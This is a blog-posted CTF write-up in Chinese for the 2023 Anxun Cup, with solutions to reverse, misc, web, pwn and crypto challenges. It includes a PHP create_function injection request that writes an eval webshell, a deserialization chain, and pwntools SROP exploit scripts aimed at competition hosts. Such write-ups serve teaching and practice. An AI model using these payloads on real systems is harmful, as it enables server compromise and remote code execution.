2023第六届安洵杯wp

打了十几个小时,唯一的感觉就是难,难,难

下面只分享一下我们做的题目的wp,能力有限,有不对的地方请各位师傅指出。

Reverse

你见...

1.sub_4577E0函数主要函数都写在注释里面,获取输入长度,根据长度分配堆空间,将密文赋值,关键加密和比较等

2.sub_45126F函数分析,sub_4521B5函数的作用:此函数使用输入的user对两段数据进行一个操作,后续这个 51c048 和 51c000会对输入加密,由于这个函数只有用户名输入正确就行没啥好分析的

3.sub_451F08是加密输入的重点就是将密码和密码的长度赋值,进入sub_4522FA加密

4.sub_4522FA函数分析,一次加密八字节一共加密两次,调用a2函数加密

5.这个函数加密其实很简单就是使用之前user处理的两个数据异或最后在交换就可以了,加密赋值回去后又翻转了

6.脚本需要每两个值交换,并且需要倒叙我是手动倒序的

得到flag:D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}

感觉有点点简单

根据字符串跳转至关键判断处

魔改rc4

魔改base64

import requests
import base64
import hashlib

def rc4_decrypt(key, ciphertext):
    key_length = len(key)
    S = list(range(64))
    j = 0
    for i in range(64):
        j = (j + S[i] + key[i % key_length]) % 64
        S[i], S[j] = S[j], S[i]

    i = j = 0
    plaintext = bytearray()

    for char in ciphertext:
        i = (i + 1) % 64
        j = (j + S[i]) % 64
        S[i], S[j] = S[j], S[i]
        keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]
        plaintext.append(char ^ ((i^j)&keystream_byte))

    return bytes(plaintext)
def main():
    key = [ord(x) for x in 'the_key_']
    data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81,60, 37, 74,19, 51, 57,59, 105, 39,77, 41,51,20, 51, 70,48, 49, 50,0]
    print(rc4_decrypt(key, data))

if __name__ == "__main__":
    main()

最后一位暴力猜测,得到D0g3{608292C4-15400BA4-B3299A5C-704C292D}

牢大想你了

我个人对这道题的出题人表示极度的看不起,甚至厌恶

在managed文件夹下找到Assembly-CSharp文件

找到密文和密钥

跟进,发现是tea算法

编写脚本得到flag

from ctypes import c_uint32

def decrypt(v, k):
    v0, v1 = map(c_uint32, v)
    delta = 2654435769
    sum1 = c_uint32(delta * 32)
    for _ in range(32):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
        sum1.value -= delta
    decrypted_values = [chr((v0.value >> 8 * i) & 0xff) for i in range(4)] + [chr((v1.value >> 8 * i) & 0xff) for i in range(4)]
    return ''.join(decrypted_values)

from ctypes import c_uint32

def decrypt(v, k):
    v0, v1 = map(c_uint32, v)
    delta = 2654435769
    sum1 = c_uint32(delta * 32)
    for _ in range(32):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
        sum1.value -= delta
    decrypted_values = [chr((v0.value >> 8 * i) & 0xff) for i in range(4)] + [chr((v1.value >> 8 * i) & 0xff) for i in range(4)]
    return ''.join(decrypted_values)

flag{it_is_been_a_long_day_without_you_my_friend}

Misc

dacongのsecret

一键提取盲水印

盲水印得到第一层密码:d@C0ng 1s cUt3!!

尝试提取图片1的第20个片段,加上png的文件头就是形成第二个压缩包

爆破宽高,得到第二层压缩包密码: wH1T3_r0cckEt_sh00ter

然后我们去还原

base64隐写:

密码是m1ku_1s_sha_fufu123

然后解密,得到flag

flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 Nahida

观察到文件尾倒序为FFD8是图片文件头

倒序保存为jpg

Silenteye解密,密钥为Nahida

签到处

(居然签到拿了一血!!)

dacongのWindows

sstv

 flag{Ar3_Th3Y

这个压缩包

_tHE_Dddd

找到这两段

U2FsdGVkX18M+E34cKJlmTU3uo1lHqjUQhKPTBGJiMjg4RWX6saTjOJmLU86538e

d@@Coong_LiiKEE_F0r3NsIc

 这两个解aes是flag3

 dAc0Ng_SIst3Rs????}  

 flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs????}  

Web

what's my name

正则的意思是dog3的字符长度要是5的倍速。然后那个createfuntion是生成一个匿名表达式,最后两位数是随机生成的。然后我们构造闭合出一个写shell的payload后,计算字符长度72。然后我们再让name为%00lambda_72。然后一直发包就行了。直到miao是等于72.

GET/?d0g3=%22]);}file_put_contents(%22shell.php%22,%22%3C?php%20eval(\$_POST[1]);%22);/*ainclude&name=%00lambda_72 HTTP/1.1

Host:

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8

Cookie: PHPSESSID=41qmrn9m1n43irdo6jedoscmc5; XDEBUG_SESSION=XDEBUG_ECLIPSE

Connection: close

访问shell.php。蚁剑链接。发现一个admin.php。源码是让本地去访问。直接curl一下就行了

flag{9da979ca-a165-11ee-844d-00163e0447d0}

easy_unserialize

<?php
class Luck{
    public $l1;
    public $md5;

}
class You{
    public $y1;
    public function __construct(){
        $this->y1 = new Luck;
    }
}
class Flag{
    public $SplFileObject;
}

$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg";
echo urlencode(serialize($a));
?>

flag{ebe32ada-a176-11ee-9aeb-00163e0447d0}

Pwn

side_channel,initia...

直接放exp了,自行理解即可

from pwn import *  
  
# 初始化远程连接  
p = remote('124.71.177.14', 10001)  
  
# 清除架构信息,设置为amd64  
context.clear(arch='amd64')  
  
# 加载目标ELF文件  
elf = ELF('./chall')  
  
# 一些可能的字符和地址  
possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"  
syscall_got = elf.got['syscall']  
syscall_plt = elf.plt['syscall']  
bss = 0x404060  
leave_ret = 0x000000000040136c  
mov_rax_15_ret = 0x0000000000401193  
syscall_ret = 0x000000000040118a  
frame_write = SigreturnFrame()  
frame_write.rdi = 10  
frame_write.rsi = bss >> 12 << 12  
frame_write.rdx = 0x1000  
frame_write.rcx = 7  
frame_write.rsp = bss + 0x110  
frame_write.rip = syscall_plt  
frame_read = SigreturnFrame()  
frame_read.rdi = 0  
frame_read.rsi = 0  
frame_read.rdx = bss + 0x300  
frame_read.rcx = 0x100  
frame_read.rsp = bss + 0x300  
frame_read.rip = syscall_plt  
  
def pwn(pos, char):  
    # 先发送"easyhack"字符串,然后等待接收回应  
    p.sendline(b'easyhack')  
    p.recvuntil(b'easyhack')  # 这行代码似乎是多余的,因为我们已经发送了"easyhack"字符串。  
    # 构造payload进行写入操作  
    payload = b'flag'.ljust(8, b'\x00')  
    payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_write)  
    payload = payload.ljust(0x100, b'\x00')  
    payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_read)  
p.send(payload)  

Seccomp

import time  
from pwn import *  
  
context.clear(arch='amd64')  
  
elf = ELF('./chall')  
  
p = process('./chall')  
# p = remote('47.108.206.43', 36983)  
  
syscall_got = elf.got['syscall']  
syscall_plt = elf.plt['syscall']  
  
bss = 0x404060  
leave_ret = 0x40136c  
mov_rax_15_ret = 0x401193  
syscall_ret = 0x40118a  
  
open_frame = SigreturnFrame()  
open_frame.rdi = 2  
open_frame.rsi = bss  
open_frame.rdx = 0  
open_frame.rsp = bss + 0x110  
open_frame.rip = syscall_plt  
  
read_frame = SigreturnFrame()  
read_frame.rdi = 0  
read_frame.rsi = 3  
read_frame.rdx = bss + 0x500  
read_frame.rcx = 0x200  
read_frame.rsp = bss + 0x218  
read_frame.rip = syscall_plt  
  
write_frame = SigreturnFrame()  
write_frame.rdi = 1  
write_frame.rsi = 1  
write_frame.rdx = bss + 0x500  
write_frame.rcx = 0x40  
write_frame.rsp = bss + 0x320  
write_frame.rip = syscall_plt  
  
p.recvuntil(b'easyhack')  
payload = b'flag'.ljust(8, b'\x00') + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(open_frame) + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(read_frame) + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(write_frame)  
p.send(payload)  
  
p.recvuntil(b'what is SUID')  
payload = b'a' * (0x32 - 0x8) + p64(bss) + p32(leave_ret)  
p.send(payload)  
  
p.interactive()

Crypto

010101

from pwn import *  
from string import *  
from hashlib import *  
from Crypto.Util.number import *  
import random  
  
table = digits + ascii_letters  
context.log_level = 'debug'  
r = remote('124.71.177.14', int(10001))  
  
def proof(mm, cc):  
    for a in table:  
        for b in table:  
            for c in table:  
                for d in table:  
                    if sha256((a + b + c + d + mm).encode()).hexdigest() == cc:  
                        return (a + b + c + d).encode()  
  
tmp = r.recvline()[:-1].decode()  
mm = tmp[14:30]  
cc = tmp[32:]  
ans = proof(mm, cc)  
print(ans)  
r.sendlineafter(b'Give Me XXXX:', ans)  
r.sendlineafter(b'Press 1 to get ciphertext\n', b'1')  
n = int(r.recvline()[:-1])  
p = r.recvline()[:-1].decode()  
c = int(r.recvline()[:-1])  
  
p1 = p[:1024]  
p2 = p[1024:]  
while True:  
    p1 = list(p[:1024])  
    p2 = list(p[1024:])  
    # Use a known prime number generation algorithm, not random changes to find primes.  
    # This is not a practical approach to finding prime numbers.  
    p1[random.choice([i for i, c in enumerate(p1) if c == '0'])] = '1'  
    p2[random.choice([i for i, c in enumerate(p1) if c == '1'])] = '0'  
    if isPrime(int("".join(p1) + "".join(p2), 2)):  
        pp = int("".join(p1) + "".join(p2), 2)  
        if n % pp == 0:  
            qq = n // pp  
            phi = (pp - 1) * (qq - 1)  
            d = inverse(65537, phi)  
            m = pow(c, d, n)  
            print(long_to_bytes(m))  
            break  # Only break if you find a prime number that works. Otherwise, keep trying.
posted @ 2023-12-24 10:19  XFocus666  阅读(1)  评论(0编辑  收藏  举报  来源